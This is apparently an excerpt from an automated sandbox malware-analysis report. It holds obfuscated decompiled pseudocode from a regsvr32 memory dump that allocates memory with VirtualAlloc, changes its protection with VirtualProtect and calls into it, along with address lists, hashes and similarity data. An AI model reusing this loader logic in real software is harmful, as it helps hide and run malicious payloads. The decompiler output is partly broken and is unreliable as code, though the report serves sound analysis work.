					_t571 =  *(_t590 - 4);
				}
				 *_t593 = _t560;
				_t563 = 0;
				 *_t593 =  *_t593 - _t590;
				 *_t593 =  *(_t488 + 0x443103);
				 *_t593 = _t488 + 0x443715;
				 *(_t590 - 4) = 0;
				 *_t593 =  *_t593 | _t488 + 0x0044374b;
				_t392 =  *((intOrPtr*)(_t488 + 0x445214))( *(_t590 - 4),  *(_t590 - 8), _t590);
				 *(_t590 - 8) = _t540;
				 *((intOrPtr*)(_t488 + 0x4447e7)) = _t392;
				_t543 =  *(_t590 - 8);
				_t504 =  *_t593;
				_t594 = _t593 - 0xfffffffc;
				_t565 = _t563 & 0x00000000 | _t543 ^  *_t594 |  *(_t488 + 0x443044);
				_t546 = _t543;
				 *_t594 =  *_t594 & 0x00000000;
				 *_t594 =  *_t594 + _t504;
				 *_t594 =  *_t594 & 0x00000000;
				 *_t594 =  *_t594 | _t488 + 0x004447c7;
				 *_t594 =  *_t594 & 0x00000000;
				 *_t594 =  *_t594 ^ _t488 + 0x00443bd3;
				_t395 =  *((intOrPtr*)(_t488 + 0x445214))(_t546, _t571, _t571);
				 *_t262 = _t395;
				_push( *(_t590 - 4));
				_pop( *_t264);
				_t506 = _t504 & 0x00000000 ^  *_t594;
				_t595 =  &(_t594[1]);
				 *_t595 =  *_t595 | _t565;
				_t566 = _t565;
				if( *_t595 != 0) {
					 *(_t590 - 4) = 0;
					 *_t595 =  *_t595 + _t506;
					 *(_t590 - 4) = 0;
					 *_t595 =  *_t595 | _t488 + 0x00443054;
					 *(_t590 - 8) = 0;
					 *_t595 =  *_t595 ^ _t488 + 0x00443248;
					_t422 =  *((intOrPtr*)(_t488 + 0x445214))( *(_t590 - 8),  *(_t590 - 4),  *(_t590 - 4));
					 *(_t590 - 8) = _t571;
					 *(_t488 + 0x44355e) =  *(_t488 + 0x44355e) & 0x00000000;
					 *(_t488 + 0x44355e) =  *(_t488 + 0x44355e) | _t571 ^  *(_t590 - 8) | _t422;
					_pop( *_t281);
					_t514 = _t506 & 0x00000000 ^  *(_t590 - 8);
					 *_t595 =  *_t595 & 0x00000000;
					 *_t595 =  *_t595 ^ _t566;
					 *(_t590 - 8) = 0;
					 *_t595 =  *_t595 + _t514;
					 *_t595 =  *_t595 & 0x00000000;
					 *_t595 =  *_t595 ^ _t488 + 0x0044321f;
					 *_t595 =  *_t595 & 0x00000000;
					 *_t595 =  *_t595 + _t488 + 0x4444b6;
					_t425 =  *((intOrPtr*)(_t488 + 0x445214))(_t546, _t566,  *(_t590 - 8), _t488);
					 *_t595 =  *(_t590 - 8);
					 *(_t488 + 0x444a58) = 0 ^ _t425;
					_t571 = 0;
					_t516 = _t514 & 0x00000000 |  *_t595;
					_t595 =  &(_t595[1]);
					E010D1000(_t425, _t488, _t516, _t546, _t566, _t571);
					 *_t595 = _t516;
					 *_t595 =  *_t595 - _t590;
					 *_t595 =  *_t595 | _t488 + 0x0044416e;
					 *(_t590 - 4) =  *(_t590 - 4) & 0x00000000;
					 *_t595 =  *_t595 ^ _t488 + 0x00444b4b;
					_t395 =  *((intOrPtr*)(_t488 + 0x445214))( *(_t590 - 4), _t590,  *(_t590 - 4));
					 *(_t590 - 8) = _t516;
					 *(_t488 + 0x444306) = 0 ^ _t395;
					_pop( *_t299);
					_t506 =  *(_t590 - 4);
				}
				_t569 = _t566;
				 *(_t590 - 8) =  *(_t590 - 8) & 0x00000000;
				 *_t595 =  *_t595 ^ _t395 ^ _t395;
				 *_t595 =  *_t595 & 0x00000000;
				 *_t595 =  *_t595 | _t506;
				 *(_t590 - 4) =  *(_t590 - 4) & 0x00000000;
				 *_t595 =  *_t595 + _t488 + 0x443e7c;
				 *_t595 =  *_t595 & 0x00000000;
				 *_t595 =  *_t595 | _t488 + 0x004442b8;
				_t399 =  *((intOrPtr*)(_t488 + 0x445214))( *(_t590 - 4), _t569,  *(_t590 - 8));
				 *(_t488 + 0x443050) =  *(_t488 + 0x443050) & 0x00000000;
				 *(_t488 + 0x443050) =  *(_t488 + 0x443050) | _t546 & 0x00000000 | _t399;
				_t549 = _t546;
				 *_t314 = _t506;
				_t508 =  *(_t590 - 8);
				memset(_t569, 0 ^  *_t595, _t508 << 0);
				_t597 = _t595 - 0xfffffffc + 0xc;
				_t570 = _t569 + _t508;
				 *(_t590 - 4) =  *(_t590 - 4) & 0x00000000;
				 *_t597 =  *_t597 | _t488 + 0x00444d11;
				 *(_t590 - 8) =  *(_t590 - 8) & 0x00000000;
				 *_t597 =  *_t597 + _t488 + 0x443cee;
				_t405 =  *((intOrPtr*)(_t488 + 0x445214))( *(_t590 - 8),  *(_t590 - 4));
				 *_t326 = _t405;
				_push( *(_t590 - 4));
				_pop( *_t328);
				if( *((intOrPtr*)(_t488 + 0x443b7b)) != _t488) {
					 *_t597 =  *_t597 & 0x00000000;
					 *_t597 =  *_t597 | _t488 + 0x00444e3f;
					 *_t597 =  *_t597 & 0x00000000;
					 *_t597 =  *_t597 | _t488 + 0x0044354b;
					_push( *((intOrPtr*)(_t488 + 0x445214))(_t488, 0));
					_pop( *_t333);
					_push( *(_t590 - 4));
					_pop( *_t335);
					 *((intOrPtr*)(_t488 + 0x445200))();
					 *(_t590 - 8) = 0;
					 *_t597 =  *_t597 ^ _t488 + 0x004447fa;
					 *_t597 =  *_t597 - _t590;
					 *_t597 = _t488 + 0x444fca;
					_push( *((intOrPtr*)(_t488 + 0x445214))(_t590,  *(_t590 - 8)));
					_pop( *_t342);
					_push( *(_t590 - 8));
					_pop( *_t344);
					 *_t597 = _t488 + 0x443e70;
					 *(_t590 - 4) =  *(_t590 - 4) & 0x00000000;
					 *_t597 =  *_t597 + _t488 + 0x444fac;
					_push( *((intOrPtr*)(_t488 + 0x445214))( *(_t590 - 4),  *(_t590 - 8),  *((intOrPtr*)(_t488 + 0x443b7b))));
					_pop( *_t353);
					_push( *(_t590 - 4));
					_pop( *_t355);
					_t419 = E010D4F80(_t488, 0, _t549, _t570, _t571); // executed
					_t405 = E010D4E93(_t419, _t488, 0, _t549, _t570, _t571,  *((intOrPtr*)(_t488 + 0x443b7b)));
				}
				 *(_t590 - 8) = _t405;
				_push(0);
				 *(_t590 + 4) =  *(_t590 + 4) & 0x00000000;
				 *(_t590 + 4) =  *(_t590 + 4) | 0x0 -  *_t597 ^ (_t549 & 0x00000000 | _t405 ^  *(_t590 - 8) |  *(_t488 + 0x443dbd));
				asm("popad");
				return  *(_t590 - 8);
			}

0x010d6956
0x010d695d
0x010d6961
0x010d696a
0x010d696b
0x010d696f
0x010d6978
0x010d6979
0x010d697c
0x010d697f
0x010d6985
0x010d6990
0x010d6991
0x010d6994
0x010d699d
0x010d69a4
0x010d69a7
0x010d69aa
0x010d69b0
0x010d69b7
0x010d69bd
0x010d69c0
0x010d69c3
0x010d69c5
0x010d69c7
0x010d69c8
0x010d69d5
0x010d69d8
0x010d69e1
0x010d69e8
0x010d69eb
0x010d69f3
0x010d69fa
0x010d6a00
0x010d6a09
0x010d6a13
0x010d6a1f
0x010d6a22
0x010d6a28
0x010d6a30
0x010d6a37
0x010d6a3d
0x010d6a4c
0x010d6a4f
0x010d6a59
0x010d6a5d
0x010d6a60
0x010d6a6c
0x010d6a73
0x010d6a79
0x010d6a86
0x010d6a90
0x010d6a9a
0x010d6a9d
0x010d6aa0
0x010d6aa6
0x010d6aae
0x010d6ab5
0x010d6abb
0x010d6ac6
0x010d6ad0
0x010d6adc
0x010d6adf
0x010d6ae1
0x010d6ae3
0x010d6ae4
0x010d6aec
0x010d6af2
0x010d6af5
0x010d6afc
0x010d6b00
0x010d6b09
0x010d6b13
0x010d6b1c
0x010d6b23
0x010d6b26
0x010d6b32
0x010d6b39
0x010d6b3f
0x010d6b40
0x010d6b43
0x010d6b43
0x010d6b46
0x010d6b4d
0x010d6b50
0x010d6b57
0x010d6b61
0x010d6b65
0x010d6b6f
0x010d6b73
0x010d6b76
0x010d6b82
0x010d6b89
0x010d6b8f
0x010d6b92
0x010d6b98
0x010d6b9f
0x010d6ba3
0x010d6baf
0x010d6bbb
0x010d6bbe
0x010d6bca
0x010d6bd1
0x010d6bd7
0x010d6bdd
0x010d6be0
0x010d6beb
0x010d6bee
0x010d6bf7
0x010d6bfe
0x010d6c07
0x010d6c0e
0x010d6c11
0x010d6c1d
0x010d6c24
0x010d6c2a
0x010d6c34
0x010d6c37
0x010d6c3f
0x010d6c46
0x010d6c4c
0x010d6c55
0x010d6c5c
0x010d6c65
0x010d6c6f
0x010d6c72
0x010d6c78
0x010d6c80
0x010d6c87
0x010d6c8d
0x010d6c97
0x010d6ca3
0x010d6caa
0x010d6cb4
0x010d6cb7
0x010d6cc0
0x010d6cc1
0x010d6cc4
0x010d6cc7
0x010d6cd3
0x010d6cdd
0x010d6ce6
0x010d6ced
0x010d6cf9
0x010d6cfc
0x010d6d04
0x010d6d0b
0x010d6d11
0x010d6d14
0x010d6d17
0x010d6d1b
0x010d6d1f
0x010d6d29
0x010d6d2d
0x010d6d37
0x010d6d3b
0x010d6d3e
0x010d6d44
0x010d6d4c
0x010d6d53
0x010d6d59
0x010d6d65
0x010d6d68
0x010d6d71
0x010d6d7b
0x010d6d84
0x010d6d85
0x010d6d88
0x010d6d8b
0x010d6da0
0x010d6daa
0x010d6dae
0x010d6db7
0x010d6db8
0x010d6dbb
0x010d6dbe
0x010d6dd0
0x010d6dd7
0x010d6de3
0x010d6de6
0x010d6dec
0x010d6df4
0x010d6dfb
0x010d6e01
0x010d6e04
0x010d6e0b
0x010d6e0e
0x010d6e1a
0x010d6e24
0x010d6e28
0x010d6e2b
0x010d6e37
0x010d6e3e
0x010d6e4b
0x010d6e4e
0x010d6e4e
0x010d6e53
0x010d6e62
0x010d6e6b
0x010d6e75
0x010d6e7e
0x010d6e7f
0x010d6e82
0x010d6e85
0x010d6e97
0x010d6ea1
0x010d6ead
0x010d6eb6
0x010d6eb7
0x010d6eba
0x010d6ebd
0x010d6ed0
0x010d6ed4
0x010d6edd
0x010d6ee7
0x010d6eea
0x010d6ef0
0x010d6ef7
0x010d6f00
0x010d6f0b
0x010d6f15
0x010d6f1e
0x010d6f28
0x010d6f2b
0x010d6f38
0x010d6f3e
0x010d6f3e
0x010d6f43
0x010d6f50
0x010d6f52
0x010d6f55
0x010d6f61
0x010d6f6a
0x010d6f74
0x010d6f77
0x010d6f7d
0x010d6f84
0x010d6f8a
0x010d6f8f
0x010d6f92
0x010d6fa2
0x010d6fa4
0x010d6fa6
0x010d6faa
0x010d6fb4
0x010d6fb8
0x010d6fc2
0x010d6fc6
0x010d6fc9
0x010d6fd0
0x010d6fd3
0x010d6fd6
0x010d6fe2
0x010d6fe5
0x010d6fe9
0x010d6fec
0x010d6fed
0x010d6ff3
0x010d6ffd
0x010d7006
0x010d7010
0x010d7019
0x010d7023
0x010d7026
0x010d702c
0x010d7034
0x010d703b
0x010d704a
0x010d704d
0x010d7051
0x010d7055
0x010d7058
0x010d7062
0x010d706c
0x010d7070
0x010d707a
0x010d707e
0x010d7081
0x010d7089
0x010d7090
0x010d7096
0x010d709d
0x010d70a0
0x010d70a3
0x010d70ab
0x010d70b5
0x010d70b8
0x010d70c1
0x010d70c8
0x010d70cb
0x010d70d1
0x010d70d8
0x010d70e3
0x010d70e6
0x010d70e6
0x010d70f0
0x010d70f1
0x010d70f8
0x010d70fc
0x010d7100
0x010d7109
0x010d7110
0x010d711a
0x010d711e
0x010d7121
0x010d712d
0x010d7134
0x010d713a
0x010d713d
0x010d7140
0x010d714b
0x010d714b
0x010d714b
0x010d7153
0x010d715a
0x010d7163
0x010d716a
0x010d716d
0x010d7174
0x010d7177
0x010d717a
0x010d7186
0x010d7193
0x010d7197
0x010d71a1
0x010d71a5
0x010d71ae
0x010d71af
0x010d71b2
0x010d71b5
0x010d71bb
0x010d71c7
0x010d71d1
0x010d71db
0x010d71de
0x010d71e7
0x010d71e8
0x010d71eb
0x010d71ee
0x010d7203
0x010d720c
0x010d7213
0x010d721c
0x010d721d
0x010d7220
0x010d7223
0x010d7229
0x010d7234
0x010d7234
0x010d7239
0x010d724d
0x010d7253
0x010d7257
0x010d725b
0x010d725d

APIs

VirtualAlloc.KERNELBASE(?,00000000,?), ref: 010D6AF5
VirtualProtect.KERNELBASE(?,00000000,?,00000000,00000000,?,?,?,?), ref: 010D6E04

Memory Dump Source

Source File: 00000003.00000002.700519164.00000000010D0000.00000040.00000001.sdmp, Offset: 010D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10d0000_regsvr32.jbxd

Similarity

API ID: Virtual$AllocProtect
String ID:
API String ID: 2447062925-0
Opcode ID: fa66727271c999c47bb0605b88c76608d54068593773d790b438d4623b3f274f
Instruction ID: 5571e61b44722b4ced0ce1ad3d7c43f3afd57fed39e858fde73801cccd9db7ab
Opcode Fuzzy Hash: fa66727271c999c47bb0605b88c76608d54068593773d790b438d4623b3f274f
Instruction Fuzzy Hash: 45625872804608EFEF04EFA0C58ABADBBF4FF04312F1544AED9899A146D7741664DF29

Uniqueness

Uniqueness Score: -1.00%

Function 010D26A7, Relevance: 3.5, APIs: 2, Instructions: 514
memoryCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 49%

			E010D26A7(signed int __eax, void* __ebx, signed int __ecx, signed int __edx, signed int __edi) {
				void* __esi;
				signed int _t308;
				signed int _t311;
				signed int _t312;
				signed int _t315;
				signed int _t320;
				signed int _t325;
				signed int _t330;
				intOrPtr _t333;
				signed int _t336;
				signed int _t340;
				signed int _t346;
				void* _t360;
				signed int _t363;
				signed int _t366;
				intOrPtr _t378;
				intOrPtr _t382;
				intOrPtr _t389;
				signed int _t391;
				signed int _t394;
				signed int _t403;
				signed int _t404;
				signed int _t407;
				void* _t409;
				signed int _t412;
				signed int _t415;
				void* _t418;
				signed int _t421;
				signed int _t424;
				signed int _t427;
				signed int _t429;
				signed int _t431;
				signed int _t437;
				signed int _t439;
				void* _t446;
				signed int _t450;
				signed int _t453;
				signed int _t456;
				signed int _t459;
				signed int _t464;
				signed int _t467;
				signed int _t470;
				signed int _t472;
				signed int _t473;
				void* _t476;
				void* _t477;
				signed int _t478;
				signed int _t489;
				void* _t492;
				signed int _t495;
				void* _t497;
				signed int* _t498;
				signed int* _t499;
				signed int* _t500;
				signed int* _t501;
				signed int* _t502;
				signed int* _t504;

				_t467 = __edi;
				_t450 = __edx;
				_t409 = __ebx;
				asm("adc al, 0x52");
				_t498 = _t497 + 1;
				 *((intOrPtr*)(__ecx - 0x36ce07b3)) =  *((intOrPtr*)(__ecx - 0x36ce07b3)) + __ecx;
				 *(__ebx + 0x44308a) = __ecx | __eax;
				_t412 =  *(_t489 - 8);
				_t308 = VirtualAlloc(??, ??, ??, ??);
				_push(__edi);
				 *_t498 =  *_t498 & 0x00000000;
				 *_t498 =  *_t498 ^ _t308;
				 *(_t489 - 4) = 0;
				_push( *(_t489 - 4));
				 *_t498 =  *_t498 | __ebx + 0x00443bad;
				 *(_t489 - 4) =  *(_t489 - 4) & 0x00000000;
				_push( *(_t489 - 4));
				 *_t498 =  *_t498 + __ebx + 0x4443f5;
				_t311 =  *((intOrPtr*)(__ebx + 0x445214))();
				 *(__ebx + 0x444bf1) =  *(__ebx + 0x444bf1) & 0x00000000;
				 *(__ebx + 0x444bf1) =  *(__ebx + 0x444bf1) ^ (_t412 -  *_t498 | _t311);
				_t415 = _t412;
				_pop( *_t18);
				_t312 =  *(_t489 - 8);
				 *(_t489 - 8) =  *(_t489 - 8) & 0x00000000;
				_push( *(_t489 - 8));
				 *_t498 =  *_t498 | _t312;
				 *(_t489 - 4) =  *(_t489 - 4) & 0x00000000;
				_push( *(_t489 - 4));
				 *_t498 =  *_t498 | _t312;
				_push(__edi);
				 *_t498 =  *_t498 & 0x00000000;
				 *_t498 =  *_t498 + __ebx + 0x443636;
				_push(__ebx);
				 *_t498 =  *_t498 & 0x00000000;
				 *_t498 =  *_t498 ^ __ebx + 0x00443af1;
				_t315 =  *((intOrPtr*)(__ebx + 0x445214))();
				 *(__ebx + 0x444f9f) =  *(__ebx + 0x444f9f) & 0x00000000;
				 *(__ebx + 0x444f9f) =  *(__ebx + 0x444f9f) | _t489 ^  *_t498 ^ _t315;
				_t492 = _t489;
				_pop( *_t33);
				_pop( *_t35);
				_push(__ebx);
				 *_t498 =  *_t498 & 0x00000000;
				 *_t498 =  *_t498 |  *(_t492 - 8);
				_push( *(_t492 - 8));
				 *_t498 = __ebx + 0x44462f;
				_push( *((intOrPtr*)(_t492 - 4)));
				 *_t498 = __ebx + 0x443e67;
				_t320 =  *((intOrPtr*)(__ebx + 0x445214))();
				 *(__ebx + 0x443596) =  *(__ebx + 0x443596) & 0x00000000;
				 *(__ebx + 0x443596) =  *(__ebx + 0x443596) ^ (_t492 -  *_t498 | _t320);
				_t495 = _t492;
				_t499 =  &(_t498[1]);
				 *(__ebx + 0x44391d) = 2;
				_push(_t495);
				 *_t499 =  *_t499 ^ _t495;
				 *_t499 =  *_t499 |  *_t498;
				 *(_t495 - 4) =  *(_t495 - 4) & 0x00000000;
				_push( *(_t495 - 4));
				 *_t499 =  *_t499 | __ebx + 0x004441e3;
				 *(_t495 - 4) =  *(_t495 - 4) & 0x00000000;
				_push( *(_t495 - 4));
				 *_t499 =  *_t499 + __ebx + 0x4440b2;
				_t325 =  *((intOrPtr*)(__ebx + 0x445214))();
				 *(__ebx + 0x443f05) =  *(__ebx + 0x443f05) & 0x00000000;
				 *(__ebx + 0x443f05) =  *(__ebx + 0x443f05) ^ _t415 & 0x00000000 ^ _t325;
				_t418 = _t415;
				_t500 =  &(_t499[1]);
				 *(_t495 - 4) = _t418;
				 *(__ebx + 0x444f4b) =  *(__ebx + 0x444f4b) & 0x00000000;
				 *(__ebx + 0x444f4b) =  *(__ebx + 0x444f4b) ^ _t418 -  *(_t495 - 4) ^ _t325 & 0x00000000 ^  *_t499;
				_t421 =  *(_t495 - 4);
				 *(_t495 - 4) =  *(_t495 - 4) & 0x00000000;
				_push( *(_t495 - 4));
				 *_t500 =  *_t500 + __ebx + 0x443dd9;
				 *(_t495 - 4) = 0;
				_push( *(_t495 - 4));
				 *_t500 =  *_t500 ^ __ebx + 0x004445b6;
				_t330 =  *((intOrPtr*)(__ebx + 0x445214))();
				 *(_t495 - 4) = _t421;
				 *(__ebx + 0x4444f0) =  *(__ebx + 0x4444f0) & 0x00000000;
				 *(__ebx + 0x4444f0) =  *(__ebx + 0x4444f0) ^ _t421 ^  *(_t495 - 4) ^ _t330;
				_t424 =  *(_t495 - 4);
				if( *(__ebx + 0x443044) > 0) {
					 *(_t495 - 8) =  *(_t495 - 8) & 0x00000000;
					_push( *(_t495 - 8));
					 *_t500 =  *_t500 + __ebx + 0x444e0d;
					_push(_t495);
					 *_t500 =  *_t500 ^ _t495;
					 *_t500 =  *_t500 ^ __ebx + 0x004431c7;
					_push( *((intOrPtr*)(__ebx + 0x445214))());
					_pop( *_t88);
					_push( *(_t495 - 4));
					_pop( *_t90);
					 *(_t495 - 8) = 0;
					_push( *(_t495 - 8));
					 *_t500 =  *_t500 ^ __ebx + 0x0044391d;
					 *(_t495 - 8) =  *(_t495 - 8) & 0x00000000;
					_push( *(_t495 - 8));
					 *_t500 =  *_t500 ^ __ebx + 0x00444320;
					_push( *(_t495 - 4));
					 *_t500 = __ebx + 0x444030;
					_t389 =  *((intOrPtr*)(__ebx + 0x445214))();
					 *_t500 = _t450;
					 *((intOrPtr*)(__ebx + 0x443019)) = _t389;
					_t464 = 0;
					_t391 = 0 ^  *_t500;
					_t500 =  &(_t500[1]);
					_push(_t495);
					 *_t500 =  *_t500 & 0x00000000;
					 *_t500 =  *_t500 ^ _t391;
					_push(_t478);
					 *_t500 =  *_t500 & 0x00000000;
					 *_t500 =  *_t500 | __ebx + 0x004443eb;
					_push(__ebx);
					 *_t500 =  *_t500 & 0x00000000;
					 *_t500 =  *_t500 ^ __ebx + 0x00443e5a;
					_t394 =  *((intOrPtr*)(__ebx + 0x445214))();
					 *(_t495 - 4) = _t424;
					 *(__ebx + 0x444e33) =  *(__ebx + 0x444e33) & 0x00000000;
					 *(__ebx + 0x444e33) =  *(__ebx + 0x444e33) | _t424 & 0x00000000 | _t394;
					_t446 =  *(_t495 - 4);
					_push(0x40);
					_push(_t446);
					 *_t500 =  *_t500 - _t446;
					 *_t500 = __ebx + 0x444bad;
					 *(_t495 - 4) = 0;
					_push( *(_t495 - 4));
					 *_t500 =  *_t500 ^ __ebx + 0x0044409a;
					_push( *((intOrPtr*)(__ebx + 0x445214))());
					_pop( *_t116);
					_push( *(_t495 - 8));
					_pop( *_t118);
					_push( *((intOrPtr*)(__ebx + 0x443103)));
					_push( *(_t495 - 8));
					 *_t500 = __ebx + 0x443016;
					_push(_t464);
					 *_t500 =  *_t500 & 0x00000000;
					 *_t500 =  *_t500 + __ebx + 0x4436a0;
					_push( *((intOrPtr*)(__ebx + 0x445214))());
					_pop( *_t124);
					_push( *(_t495 - 4));
					_pop( *_t126);
					 *(_t495 - 4) =  *(_t495 - 4) & 0x00000000;
					 *_t500 =  *_t500 | __ebx + 0x00444df3;
					 *_t500 = __ebx + 0x444ab3;
					_t403 =  *((intOrPtr*)(__ebx + 0x445214))();
					 *(_t495 - 8) = _t464;
					 *(__ebx + 0x444135) =  *(__ebx + 0x444135) & 0x00000000;
					 *(__ebx + 0x444135) =  *(__ebx + 0x444135) ^ (_t464 & 0x00000000 | _t403);
					_t450 =  *(_t495 - 8);
					_t404 = VirtualProtect( *(_t495 - 4),  *(_t495 - 4),  *(__ebx + 0x443044), ??);
					_push(_t495);
					 *_t500 =  *_t500 ^ _t495;
					 *_t500 =  *_t500 ^ _t404;
					_push( *(_t495 - 4));
					 *_t500 = __ebx + 0x443ce3;
					_push(__edi);
					 *_t500 =  *_t500 & 0x00000000;
					 *_t500 =  *_t500 ^ __ebx + 0x00443340;
					_t407 =  *((intOrPtr*)(__ebx + 0x445214))();
					 *(__ebx + 0x4436c0) =  *(__ebx + 0x4436c0) & 0x00000000;
					 *(__ebx + 0x4436c0) =  *(__ebx + 0x4436c0) ^ (_t446 -  *_t500 | _t407);
					 *_t150 = _t446;
					_t330 =  *(_t495 - 4) + (_t407 & 0x00000000);
				}
				if(_t330 != _t409) {
					 *_t500 = _t409 + 0x44349f;
					 *(_t495 - 4) = 0;
					 *_t500 =  *_t500 ^ _t409 + 0x00443efe;
					_push( *((intOrPtr*)(_t409 + 0x445214))( *(_t495 - 4),  *(_t495 - 4)));
					_pop( *_t158);
					_push( *(_t495 - 8));
					_pop( *_t160);
					 *(_t495 - 4) = 0;
					 *_t500 =  *_t500 | _t409 + 0x00444fb8;
					 *_t500 = _t409 + 0x4433aa;
					_push( *((intOrPtr*)(_t409 + 0x445214))( *(_t495 - 8),  *(_t495 - 4),  *((intOrPtr*)(_t409 + 0x443b7b))));
					_pop( *_t168);
					_push( *(_t495 - 4));
					_pop( *_t170);
					 *_t500 =  *_t500 & 0x00000000;
					 *_t500 =  *_t500 + _t409 + 0x4446a6;
					 *(_t495 - 8) = 0;
					 *_t500 =  *_t500 | _t409 + 0x00443ae6;
					_t378 =  *((intOrPtr*)(_t409 + 0x445214))( *((intOrPtr*)(_t409 + 0x444f18)));
					 *(_t495 - 4) = _t478;
					 *((intOrPtr*)(_t409 + 0x444be5)) = _t378;
					E010D135F(_t409, _t450, _t467,  *(_t495 - 8), _t478);
					 *(_t495 - 4) = 0;
					 *_t500 =  *_t500 ^ _t409 + 0x00444ce7;
					 *(_t495 - 8) = 0;
					 *_t500 =  *_t500 + _t409 + 0x4439d2;
					_t382 =  *((intOrPtr*)(_t409 + 0x445214))( *(_t495 - 8),  *(_t495 - 4));
					 *((intOrPtr*)(_t409 + 0x443f79)) = _t382;
					_t478 =  *(_t495 - 4);
				}
				 *_t500 = _t467;
				_t470 = 0;
				 *_t500 =  *_t500 - _t495;
				 *_t500 =  *(_t409 + 0x443103);
				 *_t500 = _t409 + 0x443715;
				 *(_t495 - 4) = 0;
				 *_t500 =  *_t500 | _t409 + 0x0044374b;
				_t333 =  *((intOrPtr*)(_t409 + 0x445214))( *(_t495 - 4),  *(_t495 - 8), _t495);
				 *(_t495 - 8) = _t450;
				 *((intOrPtr*)(_t409 + 0x4447e7)) = _t333;
				_t453 =  *(_t495 - 8);
				_t427 =  *_t500;
				_t501 = _t500 - 0xfffffffc;
				_t472 = _t470 & 0x00000000 | _t453 ^  *_t501 |  *(_t409 + 0x443044);
				_t456 = _t453;
				 *_t501 =  *_t501 & 0x00000000;
				 *_t501 =  *_t501 + _t427;
				 *_t501 =  *_t501 & 0x00000000;
				 *_t501 =  *_t501 | _t409 + 0x004447c7;
				 *_t501 =  *_t501 & 0x00000000;
				 *_t501 =  *_t501 ^ _t409 + 0x00443bd3;
				_t336 =  *((intOrPtr*)(_t409 + 0x445214))(_t456, _t478, _t478);
				 *_t204 = _t336;
				_push( *(_t495 - 4));
				_pop( *_t206);
				_t429 = _t427 & 0x00000000 ^  *_t501;
				_t502 =  &(_t501[1]);
				 *_t502 =  *_t502 | _t472;
				_t473 = _t472;
				if( *_t502 != 0) {
					 *(_t495 - 4) = 0;
					 *_t502 =  *_t502 + _t429;
					 *(_t495 - 4) = 0;
					 *_t502 =  *_t502 | _t409 + 0x00443054;
					 *(_t495 - 8) = 0;
					 *_t502 =  *_t502 ^ _t409 + 0x00443248;
					_t363 =  *((intOrPtr*)(_t409 + 0x445214))( *(_t495 - 8),  *(_t495 - 4),  *(_t495 - 4));
					 *(_t495 - 8) = _t478;
					 *(_t409 + 0x44355e) =  *(_t409 + 0x44355e) & 0x00000000;
					 *(_t409 + 0x44355e) =  *(_t409 + 0x44355e) | _t478 ^  *(_t495 - 8) | _t363;
					_pop( *_t223);
					_t437 = _t429 & 0x00000000 ^  *(_t495 - 8);
					 *_t502 =  *_t502 & 0x00000000;
					 *_t502 =  *_t502 ^ _t473;
					 *(_t495 - 8) = 0;
					 *_t502 =  *_t502 + _t437;
					 *_t502 =  *_t502 & 0x00000000;
					 *_t502 =  *_t502 ^ _t409 + 0x0044321f;
					 *_t502 =  *_t502 & 0x00000000;
					 *_t502 =  *_t502 + _t409 + 0x4444b6;
					_t366 =  *((intOrPtr*)(_t409 + 0x445214))(_t456, _t473,  *(_t495 - 8), _t409);
					 *_t502 =  *(_t495 - 8);
					 *(_t409 + 0x444a58) = 0 ^ _t366;
					_t478 = 0;
					_t439 = _t437 & 0x00000000 |  *_t502;
					_t502 =  &(_t502[1]);
					E010D1000(_t366, _t409, _t439, _t456, _t473, _t478);
					 *_t502 = _t439;
					 *_t502 =  *_t502 - _t495;
					 *_t502 =  *_t502 | _t409 + 0x0044416e;
					 *(_t495 - 4) =  *(_t495 - 4) & 0x00000000;
					 *_t502 =  *_t502 ^ _t409 + 0x00444b4b;
					_t336 =  *((intOrPtr*)(_t409 + 0x445214))( *(_t495 - 4), _t495,  *(_t495 - 4));
					 *(_t495 - 8) = _t439;
					 *(_t409 + 0x444306) = 0 ^ _t336;
					_pop( *_t241);
					_t429 =  *(_t495 - 4);
				}
				_t476 = _t473;
				 *(_t495 - 8) =  *(_t495 - 8) & 0x00000000;
				 *_t502 =  *_t502 ^ _t336 ^ _t336;
				 *_t502 =  *_t502 & 0x00000000;
				 *_t502 =  *_t502 | _t429;
				 *(_t495 - 4) =  *(_t495 - 4) & 0x00000000;
				 *_t502 =  *_t502 + _t409 + 0x443e7c;
				 *_t502 =  *_t502 & 0x00000000;
				 *_t502 =  *_t502 | _t409 + 0x004442b8;
				_t340 =  *((intOrPtr*)(_t409 + 0x445214))( *(_t495 - 4), _t476,  *(_t495 - 8));
				 *(_t409 + 0x443050) =  *(_t409 + 0x443050) & 0x00000000;
				 *(_t409 + 0x443050) =  *(_t409 + 0x443050) | _t456 & 0x00000000 | _t340;
				_t459 = _t456;
				 *_t256 = _t429;
				_t431 =  *(_t495 - 8);
				memset(_t476, 0 ^  *_t502, _t431 << 0);
				_t504 = _t502 - 0xfffffffc + 0xc;
				_t477 = _t476 + _t431;
				 *(_t495 - 4) =  *(_t495 - 4) & 0x00000000;
				 *_t504 =  *_t504 | _t409 + 0x00444d11;
				 *(_t495 - 8) =  *(_t495 - 8) & 0x00000000;
				 *_t504 =  *_t504 + _t409 + 0x443cee;
				_t346 =  *((intOrPtr*)(_t409 + 0x445214))( *(_t495 - 8),  *(_t495 - 4));
				 *_t268 = _t346;
				_push( *(_t495 - 4));
				_pop( *_t270);
				if( *((intOrPtr*)(_t409 + 0x443b7b)) != _t409) {
					 *_t504 =  *_t504 & 0x00000000;
					 *_t504 =  *_t504 | _t409 + 0x00444e3f;
					 *_t504 =  *_t504 & 0x00000000;
					 *_t504 =  *_t504 | _t409 + 0x0044354b;
					_push( *((intOrPtr*)(_t409 + 0x445214))(_t409, 0));
					_pop( *_t275);
					_push( *(_t495 - 4));
					_pop( *_t277);
					 *((intOrPtr*)(_t409 + 0x445200))();
					 *(_t495 - 8) = 0;
					 *_t504 =  *_t504 ^ _t409 + 0x004447fa;
					 *_t504 =  *_t504 - _t495;
					 *_t504 = _t409 + 0x444fca;
					_push( *((intOrPtr*)(_t409 + 0x445214))(_t495,  *(_t495 - 8)));
					_pop( *_t284);
					_push( *(_t495 - 8));
					_pop( *_t286);
					 *_t504 = _t409 + 0x443e70;
					 *(_t495 - 4) =  *(_t495 - 4) & 0x00000000;
					 *_t504 =  *_t504 + _t409 + 0x444fac;
					_push( *((intOrPtr*)(_t409 + 0x445214))( *(_t495 - 4),  *(_t495 - 8),  *((intOrPtr*)(_t409 + 0x443b7b))));
					_pop( *_t295);
					_push( *(_t495 - 4));
					_pop( *_t297);
